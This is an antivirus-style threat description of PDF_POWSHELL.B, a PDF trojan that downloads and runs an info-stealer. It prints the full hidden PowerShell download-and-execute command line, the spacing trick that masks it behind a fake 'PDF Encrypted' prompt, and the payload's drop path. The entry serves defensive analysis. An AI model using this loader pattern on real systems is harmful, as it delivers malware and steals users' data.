PDF_POWSHELL.B

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan accesses the following websites to download files:

• http://{BLOCKED}ingworkspr.com/HTL/DRAWING.exe

It saves the files it downloads using the following names:

• %User Profile%\AppData\Roaming est.exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

Trend Micro detects the dowloaded file as:

• TSPY_NEGASTEAL.YO

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

• It executes a powershell script for the download routine using the following commandline:
  "%System%\cmd.exe" /c PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}ingworkspr.com/HTL/DRAWING.exe','%APPDATA% est.exe');Start-Process '%APPDATA% est.exe' {spaces to hide the commands above} PDF Encrypted. Please click 'Open';

NOTES:
It displays the following to trick the user in executing the Powershell command: